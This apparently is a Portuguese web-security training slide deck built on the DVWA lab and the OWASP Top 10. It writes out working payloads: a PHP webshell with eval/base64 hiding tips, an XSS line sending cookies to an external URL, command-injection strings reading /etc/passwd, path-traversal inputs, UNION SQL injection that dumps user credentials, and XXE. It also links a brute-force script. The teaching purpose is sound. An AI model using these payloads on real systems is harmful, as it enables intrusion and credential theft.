Escolar Documentos
Profissional Documentos
Cultura Documentos
Sistemas Web
●
Na internet todos são alvos em potencial.
Porque explorar falhas de
segurança web?
● Conhecimento
● Experiência
● Agilidade de resposta
É ilegal?
Não é ilegal saber sobre falhas nem explorar as
mesmas, desde que:
●
Seja em uma aplicação que você mesmo fez e está
testando a segurança da mesma (inclusive é
recomendado que se faça isso);
● Tenha permissão expressa do dono da aplicação;
● Esteja participando de concursos legais de CTF
(capture-the-fag);
● Seja em um ambiente próprio para tal;
Campo de Trabalho
●
Pentester;
● Pesquisador de vulnerabilidades;
●
Bug-bounter;
● Outros cargos ligados à área de segurança;
● Programadores, SysAdmins, DBAs e
engenheiros de software com uma base sólida de
segurança também são mais visados no mercado
de trabalho
DVWA
●
Importante! Pode haver incompatibilidade entre a
versão do Vagrant e do Virtualbox, especialmente
no Windows, de preferência atualize os mesmos
para a última versão se já tiver um deles instalado
no seu computador
DVWA - Vagrant
●
vagrant --version
●
vagrant up
●
vagrant ssh
●
vagrant destroy && vagrant up
DVWA - Vagrant
●
Copiar o anexo “Vagrantfle” da apostila e salvar em um arquivo
com o nome Vagrantfle (sem extensão e a primeira letra
maiúscula)
– O exemplo a seguir usa o editor de textos Atom (https://atom.io/), mas
qualquer editor de textos funciona. Para criar o arquivos sem extensão
no Bloco de Notas, salve o arquivo com aspas, por exemplo "Vagrantfle"
DVWA - Vagrant
● Colar o conteúdo do anexo “Vagrantfle” no arquivo:
DVWA - Vagrant
● Colar o conteúdo do anexo “Vagrantfle” no arquivo:
DVWA - Vagrant
● Colar o conteúdo do anexo “Vagrantfle” no arquivo:
DVWA - Vagrant
● Colar o conteúdo do anexo “Vagrantfle” no arquivo:
DVWA – Vagrant - Comandos
● Iniciar máquina virtual
– vagrant up
● Acessar a máquina virtual por SSH
– vagrant ssh
● Parar máquina virtual
– vagrant halt
● Resetar máquina do zero (em caso de falha
catastrófca)
– vagrant destroy && vagrant up
DVWA - Vagrant
● Salvar o arquivo
● Criar uma pasta chamada “html” na mesma
pasta que está o arquivo Vagrantfle (não
obrigatório)
● Acessar pelo prompt de comando/terminal a
pasta e executar o comando para iniciar a
máquina virtual:
vagrant up
DVWA - Vagrant
DVWA - Vagrant
DVWA
● Se não acontecer nenhum problema na
instalação, acessar o endereço a seguir em
qualquer navegador:
– http://localhost:8080/
DVWA
DVWA
Usuário: admin
Senha: password
DVWA
DVWA
SQL Injection
SQL Injection
● Injeção de código SQL em uma query
através de qualquer dado vindo do usuário
(exemplo: formulários)
● Construção da query com os dados do
usuário
● Pode permitir CRUD nas tabelas e no banco
de dados, download de arquivos e em alguns
casos até upload de arquivos
SQL Injection
SQL Injection
● Como funciona?
– Analisamos a funcionalidade normal
– Testamos quebrar o sistema
– Injetamos o código básico
– Experimentação
SQL Injection
Demonstração
SQL Injection
como se proteger?
● Evitar criação de queries (interpretadores)
● Usar prepared statements (comandos preparados)
● Nunca confar nos dados do usuário
– Limpar e validar dados (mesmo os que não vêm de
formulários)
– Sempre que possível usar listas brancas
– Desabilitar mensagens de erro
● Sugestões: modo impossible do vagrant
Falha de Criptografia
Falha de criptografia
●
Hash md5: 5f4dcc3b5aa765d61d8327deb882cf99
– 128-bits de entropia
●
Rainbow tables
– https://hashkiller.co.uk/md5-decrypter.aspx
– https://crackstation.net/
– https://www.md5online.org/
– etc
●
Timing attack
Falha de criptografia
●
Hash md5: 5f4dcc3b5aa765d61d8327deb882cf99
– 128-bits de entropia
●
Não é criptografa
●
Não é codifcação
●
É uma função de dispersão criptográfca unidirecional
●
Serve para gerar um código “único” para uma string
●
md5(voce nunca sabe o que tem nesta string) =
de6ecf04c264d8ec2170a227199af52f
●
md5(voce nunca sabe o que tem nessa string) =
853d15a2e66a3e495a27b6cb6195821c
Falha de criptografia
explorar
●
Rainbow table:
– https://project-rainbowcrack.com/table.htm
●
Explorar
– Burp Suite (Intruder)
– Serviços online:
●
https://www.md5online.org/
●
http://md5decrypt.net/
●
https://hashkiller.co.uk/md5-decrypter.aspx
●
https://md5hashing.net/hash/md5/
●
Etc
Falha de criptografia
como se proteger
● Outras hashs (BlowFish, até 448-bits)
● Salgar
Exposição de dados sensíveis
Exposição de dados sensíveis
● sudo cp
/var/www/html/confg/confg.inc.php.dist
/var/www/html/confg/confg.inc.php
● Index of:
– http://localhost:8080/confg/
Exposição de dados sensíveis
●
Arquivos perigosos:
– .dist, bck, .bak, .backup, .sql, .env (entre outros)
●
robots.txt – pode conter endereços que o desenvolvedor
não quer que os buscadores encontrem, como endereço
de admistradores, phpmyadmin etc
●
sitemap.xml – se mal confgurado pode mostrar
arquivos que só deveriam ser acessíveis com restrição
(usuário e senha, por exemplo)
●
README.txt, version.txt, CHANGELOG.md – podem
mostrar quais sistemas sua aplicação usar e algum
deles está desatualizado e em caso de um 0day podem
ser usados para encontrar vulnerabilidades em massa
Exposição de dados sensíveis
● Pesquisas no Google:
– “index of”
– fletype:bck (ou .dist, .bak, .backup, .sql, .env)
– Palavras chave em sistemas conhecidos, como
API_KEY, PRIVATEKEY etc
● Atenção! Sua conta ou IP podem ser
bloqueados pelo Google se fzer muitas
pesquisas dessas
Upload de arquivos inseguros
Upload de arquivos inseguros
● Formulários que:
– Não restringem ou tem problema na restrição
do tipo de arquivos
– Têm falhas na verifcação de arquivo
– Dependem de validação no lado do cliente
– Não verifcam o conteúdo dos arquivos
– Não restrigem tamanho de arquivos
Upload de arquivos inseguros
● Permite visualizar arquivos e conteúdos que não
deveriam ser visíveis (até mesmo fora da pasta
pública)
● Permite abrir, gravar, editar, excluir e executar
arquivos com as mesmas permissões que o web
server (Apache/Nginx/etc.)
● Pode permitir que arquivos maliciosos possam ser
usados em campanhas de distribuição de malware
usando o seu servidor/domínio
● Pode ser usar seus recursos de servidor para
minerar criptomoedas (por exemplo)
Upload de arquivos inseguros –
como explorar
● Verifcar a funcionalidade do servidor
● Se o arquivo pode ser enviado, alguém vai
poder visualizar (dica de localização)
● Se não souber onde o arquivo foi parar, é
possível tentar adivinhar (pasta uploads,
envios, tmp, temp)
● Criar uma webshell:
Upload de arquivos inseguros
● Exemplo de webshell:
<?php echo('<pre>' .
@shell_exec($_GET['cmd']) . '</pre>');
● Além de shell_exec:
– exec
– passthru()
– system()
– preg_match(//e)
– ``
Upload de arquivos inseguros
●
Se houver uma segurança rudimentar no
servidor que bloqueie palavras chave, é possível
codifcar com base64 e utilizar a função eval()
●
Os comandos podem ser inseridos dentro de
outros arquivos PHP ou até mesmo podem ser
escondidos em outros arquivos, como imagens ou
arquivos de texto
●
Tentar combinações, com outros arquivos (shell
em um arquivo, eval() em outro) ou com outras
vulnerabilidades como inclusão de arquivos
locais
Upload de arquivos inseguros –
segurança errada
● Lista negra:
if ($extensao == ‘php’) { exit(0); }
● Diferença de extensões (pHP, PhP),
extensões alternativas (phtml, php5)
● Outras vulnerabilidades: XXE (arquivo xml)
● addslashes ou mysql_real_escape_string
Upload de arquivos inseguros -
proteção
●
Verifcar nome do arquivo (além da extensão)
●
Remover non-unicode (nulo, newline etc)
●
Remover pontuação e barras
●
Verifcar conteúdo
●
Limitar tamanho (max e min)
●
Renomear o arquivo
●
Não confar o content-type
Inclusão de arquivos locais
Inclusão de arquivos locais
● Quando o programador utiliza o nome de
arquivos em parâmetros do client-side.
Exemplo:
● arquivos.php?arquivo=conteudo1
<?php
$arquivo = $_GET['arquivo'];
include($arquivo . ".php");
Inclusão de arquivos locais
● Permite inclusão e execução de arquivos
● Permite a inclusão de arquivos de texto ou outro
formato não interpretado
● Mesmo que o arquivo não tenha a extensão
correta (exemplo .php), ainda pode ser executado
como se fosse naquele formato (exemplo, PHP)
● Pode ser usado em conjunto com o upload de
arquivos inseguros
Inclusão de arquivos locais
● http://localhost:8080/vulnerabilities/f/?
page=fle1.php
● http://localhost:8080/vulnerabilities/f/?
page=../../robots.txt
● http://localhost:8080/vulnerabilities/f/?
page=/etc/passwd
Inclusão de arquivos locais -
outros
● ?arquivo=pagina.php
● ../
● %2e%2e%2f e %2e%2e%5c ../ e ..\
● ..%c0%af ../
● .ext%00.jpg
● URLs externas
Inclusão de arquivos locais -
proteção
● Não usar
● Se realmente precisar utilizar, usar lista-
branca (gravando antes quais arquivos
podem ser executados)
XSS e CSRF
(Cross-site script e
Cross-site request forgery)
XSS e CSRF
● São tipos de injeção onde o usuário insere
um código malicioso no sistema, geralmente
utilizando formulários
● O envio depende de uma vulnerabilidade no
server-side, mas afeta outros usuários no
client-side
● O código é executado no navegador das
vítimas porque o navegador não tem como
distinguir o que é código “nativo” do website
do que é código enviado por outros usuários
XSS e CSRF
● Injeção de script (geralmente JavaScript)
● Pode ser <script> ou qualquer outra forma
de execução de script no client-side.
Exemplo, parâmetros onLoad/onError em
imagens ou outros elementos HTML
● Permite o envio de dados de usuários para
outros servidores (XSS) ou alterar dados de
outro usuário (CSRF)
XSS e CSRF
● <script>alert('ola');</script>
● <script>alert(document.cookie);</script>
● JoaoBobo<script>fetch('*urlexterna*?
c="'+document.cookie+'"');</script>
XSS e CSRF
● XSS – enviar dados para fora da aplicação
● CSRF – executar ações com o usuário logado
XSS e CSRF - proteção
●
NÃO CONFIAR nos dados dos usuários!
●
Idealmente não permitir HTML (mesmo campos
como <img> ou <svg>)
●
Evitar remoção manual: <sc<script>ipt>
●
Codifcar exibição de dados
●
<noscript>
● Tokens
●
Validar sessões (IP, User-Agent)
Ataque de força bruta
Ataque de Força Bruta
● Várias formas de executar, mas geralmente
segue a seguinte estrutura:
– Utiliza uma lista predefnida
– Faz requisições utilizando os itens desta lista
– Analisa o retorno
● Pode utilizar um dicionário (com ou sem
mutações)
● Ou no modelo tradicional (gerando os
caracteres a cada requisição)
Ataque de Força Bruta
● Pode ser utilizado para:
– Autenticação (ex. login/senha ou token)
– Encontrar dados escondidos (ex. Pastas, URLs,
arquivos escondidos no servidor)
● É necessário um programa/aplicação para
fazer as requisições
Ataque de Força Bruta
● Exemplos de word lists:
– Cain & Abel (1.069.968 bytes compactados)
– John The Ripper (10.934 bytes compactados)
– shortKrak (4.123 palavras)
– Listas de usernames/passwords vazados
– Listas com passwords mais comuns
– Nomes comuns
– Dicionários
– Entre outras
Ataque de Força Bruta - proteção
● Lockout
● Captcha
● Testar senhas;
● 2fa;
● Detecção/monitoramento;
Ataque de força bruta
Ataque de Força Bruta
● cURL
● Wordlist
● Shell
● http://104.236.64.165/web/bruteforce.sh
● http://104.236.64.165/web/shortKrak.txt
Ataque de Força Bruta - proteção
● Captcha
● Testar senhas;
● 2fa;
● Monitoramento;
Command Injection
Command Injection
● Como o SQL Injection
● Injeção de comando para ser executado em
um servidor
Command Injection
● ping.php?ip=8.8.8.8
<?php
$ip = $_GET['ip'];
$comando = "ping $ip";
$resultado = shell_exec($comando);
echo("$resultado");
Command Injection
● Comando usando caracteres chave como:
& && ; |
● Permite alterações no SO com a mesma
permissão que o servidor rodando a
aplicação
Command Injection - explorando
● Efetivamente funciona como uma webshell
implementada pelo próprio desenvolvedor
● Como explorar:
– Analise de comportamento correto
– Tentativa e erro
Command Injection - Exemplos
● 127.0.0.1 & ls
● 127.0.0.1 ; ls
● 127.0.0.1 | ls ../..
● 127.0.0.1 | whoami
● 127.0.0.1 | cat /etc/passwd
Command Injection – como
evitar
● Evitar comandos sempre que possível
● Não permitir ao usuário decidir quais
comandos executar
● Validar dados
● PHP:
addslashes != escapeshellcmd+escapeshellarg
XSS DOM e Stored
XSS DOM e Stored
● Proxy
● Man-in-the-middle
● https://portswigger.net/burp/communitydo
wnload
Burp Suite
● Intruder
– Ferramenta para brute-force
– Permite escolher quais dados vão ser trocados a
cada iteração
● Repeater
– Repete o mesmo comando
– Facilita testes de exploração
Burp Suite
●
Sequencer
– Permite analisar dados como cookies e prever
próximos valores
● Decoder
– Ferramentas de codifcação/decodifcação
●
Comparer
– Compara arquivos ou strings
– Utilizar com o Intruder, por exemplo
DVWA - Modo Intermediário
(medium)
Modo Intermediário (medium)
● Sistema com segurança mínima e práticas
ruins
● Melhorar a técnica
SQL Injection
SQL Injection - medium
● Adiciona um select no formulário
(segurança no client-side)
● Bypass com:
– cURL
– Alterando o request no browser
– Alterando o request no Burp
● Mesmos códigos de invasão que no low
SQL Injection - medium
●
Adiciona um select no formulário (segurança no client-side)
●
Bypass com:
– cURL
– Alterando o request no browser (quando possível)
– Alterando o request no Burp
●
Mesmos códigos de invasão que no low não funcionam (aspas)
– '
– ' OR 1='1
●
Número
●
mysqli_real_escape_string()
SQL Injection – errada
https://pastebin.com/pifpwkmv
● ' AND 1=0 UNION SELECT NULL, TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES#
● ' AND 1=0 UNION SELECT TABLE_SCHEMA,
CONCAT(TABLE_NAME,' - ',COLUMN_NAME) FROM
INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='users'#
● ' AND 1=0 UNION SELECT NULL, CONCAT(frst_name,
' / ', last_name, ' / ', user, ' / ', password) FROM users #
Ataque de força bruta - Burp
Ataque de Força Bruta - Burp
● Proxy
– Ativar interceptação
– Fazer um teste de envio no navegador com
qualquer valor no usuário e na senha
– Em Action selecionar a opção “Send to Intruder”
– Desativar interceptação
Ataque de Força Bruta - Burp
● Intruder
– Cluster bomb
– Limpar variáveis
– Re-adicionar variáveis
– Payload:
● Campo 1 simplelist “admin”
● Campo 2 simplelist “shortKrak.txt”
– Start attack
Ataque de Força Bruta - Burp
● Intruder
– Verifcar diferenças
– Selecionar diferentes
– Send to Comparer (responses)
● Comparer
– Selecionar nas duas listas
– Compare... Words
– Sync views
HTTPS e Certificados SSL
HTTPS e Certificados SSL
●
Encriptam os dados para evitar ataques MITM
●
Chave pública/privada
●
Autoridades Certifcadoras internacionais
garantem que o certifcado é seguro
●
Chrome 68 (última versão) marca todos os sites
sem HTTPS como inseguros
●
Certifcados free: https://letsencrypt.org/
●
HTTPS não garante que seu site é seguro! Só
garante que a comunicação com o cliente, a
princípio, é encriptada de ponta a ponta
BURP com SSL
BURP com SSL
BURP com SSL
● Acessar:
– http://burp
● Baixar certifcados em CA Certifcate
BURP com SSL
● Abrir as preferências do Firefox e pesquisar
por Certifcados
● Vetores: 3/3
● Prevalência: 2/3
● Detectabilidade: 3/3
● Impacto técnico: 3/3
OWASP 2 - Broken Authentication
2. Broken Authentication
(autenticação "quebrada")
● Permite ataques automáticos de força-bruta
●
Permite senhas fáceis como sequências de números,
"senha", "admin/admin"
●
Usa processos fracos ou inefcientes em opções de "esqueci
minha senha"
●
Salva senhas em texto simples ou com encriptação fraca
●
Expõe a Session ID na URL
●
Não atualiza corretamente a Session ID após um login
efetuado com sucesso
●
Não tem ou tem validação de multi-fator fraca
●
Não invalida ou destrói a Session ID no logout,
especialmente SSO (Single sign-on)
2. Broken Authentication
(autenticação "quebrada")
● Vetores: 3/3
● Prevalência: 2/3
● Detectabilidade: 2/3
● Impacto técnico: 3/3
OWASP 3 - Sensitive Data Exposure
3. Sensitive Data Exposure
(exposição de dados sensíveis)
● robots.txt
● phpinfo()
● PHPMyAdmin
● Páginas administrativas “secretas”
● Sistema não criptografado
● Criptografa fraca ou falha
● Problema de SSL (Heartbleed)
3. Sensitive Data Exposure
(exposição de dados sensíveis)
3. Sensitive Data Exposure
(exposição de dados sensíveis)
● Vetores: 2/3
● Prevalência: 3/3
● Detectabilidade: 2/3
● Impacto técnico: 3/3
OWASP 4 - XML External Entities (XXE)
4. XML External Entities (XXE)
● Processador de XMLs permite a inclusão de
arquivos internos ou externos
● Exemplo:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxeattack SYSTEM
"fle:///etc/passwd">
]>
<xxx>&xxeattack;</xxx>
4. XML External Entities (XXE)
● Vetores: 2/3
● Prevalência: 2/3
● Detectabilidade: 3/3
● Impacto técnico: 3/3
OWASP 5 - Broken Access Control
5. Broken Access Control
(controle de acesso "quebrado")
● Local File Inclusion (LFI)
● Remote File Inclusion (RFI)
● Escalação de permissões (2013: A7-Missing
Function Level Access Control)
● Sistema que não é bem testado permitindo
acesso direto aos arquivos (2013: A4-
Insecure Direct Object References)
5. Broken Access Control
(controle de acesso "quebrado")
● Vetores: 2/3
● Prevalência: 2/3
● Detectabilidade: 2/3
● Impacto técnico: 3/3
OWASP 6 - Security Misconfiguration
6. Security Misconfiguration
(más-configurações de segurança)
●
Confgurações incorretas do:
– Sistema operacional
– Servidor web
– Banco de dados
– Framework
– Pré-compilador
– etc
●
Exemplos:
– Index of
– Troca de método (POST/GET)
– Sistema fnge ser um outro User-Agent
– Upload de arquivos sem limite, ou confgurado no client-side
– Click jacking
– Cross-site framing
6. Security Misconfiguration
(más-configurações de segurança)
● Vetores: 3/3
● Prevalência: 3/3
● Detectabilidade: 3/3
● Impacto técnico: 2/3
OWASP 7 - Cross-Site Scripting (XSS)
7. Cross-Site Scripting (XSS)
●
Refected
– GET (URL)
– Formulário (texto/select/hidden)
– Arquivo externo (RFI, iframe)
– CSS
– HTML5 Web Storage
– XML
– Dados do Navegador
– Referer
– Cookies
●
Persistent
– Gravando dados no banco de dados
– Gravando logs
7. Cross-Site Scripting (XSS)
● Vetores: 3/3
● Prevalência: 3/3
● Detectabilidade: 3/3
● Impacto técnico: 2/3
OWASP 8 - Insecure Deserialization
8. Insecure Deserialization
(desserialização insegura)
● É um ataque mais técnico e atualmente não
existem muitas ferramentas que fazem o
ataque automaticamente
● Se relaciona a objetos ou estruturas de
dados em aplicações ou APIs que são
serializados/desserializados
● Intenção de ganhar funções/permissões não
previstas pelo sistema e permitir execuções
de código malicioso
8. Insecure Deserialization
(desserialização insegura)
● Vetores: 1/3
● Prevalência: 2/3
● Detectabilidade: 2/3
● Impacto técnico: 3/3
OWASP 9 - Using Components with Known
Vulnerabilities
9. Using Components with Known
Vulnerabilities (utilização de componentes
com vulnerabilidades conhecidas)
● Componentes
– Pacotes
– Bibliotecas
– Aplicações
– Servidores (aplicação, banco de dados, etc)
– Linguagens
– Anti-vírus/Firewall
– Etc
●
Utilização de componentes externos sem conhecer de
forma integral como funcionam
●
Componentes desatualizados
● Componentes com problemas não corrigidos
9. Using Components with Known
Vulnerabilities (utilização de componentes
com vulnerabilidades conhecidas)
● Vetores: 2/3
● Prevalência: 3/3
● Detectabilidade: 2/3
● Impacto técnico: 2/3
OWASP 10 - Insufficient Logging &
Monitoring
10. Insufficient Logging & Monitoring
(logs e monitoramento insuficiente)
● Quando um sistema não grava logs sufcientes, ou
quando não tem um sistema de monitoramento
adequado
● Os ataques mais bem sucedidos são feitos a partir
de sondagem de código, um usuário mal
intencionado pode não conhecer bem um sistema,
mas se tiver tempo de testar muitas probabilidades
provavelmente vai encontrar alguma
vulnerabilidade
● Um sistema que não barre o usuário nesta fase de
testes, ou que pelo menos tenha as informações de
como um ataque aconteceu é muito inseguro
10. Insufficient Logging & Monitoring
(logs e monitoramento insuficiente)
● Vetores: 2/3
● Prevalência: 3/3
● Detectabilidade: 1/3
● Impacto técnico: 2/3
OWASP
● É recomendável e importante que se
pesquise e se leia o documento com as top
10 vulnerabilidades da OWASP. No entanto,
o mesmo pode ser seguido como um guia
básico, o aluno não deve basear todo o seu
conhecimento nestas 10 vulnerabilidades,
mas usar o documento como uma
plataforma para estudos mais
aprofundados.
Obrigado :)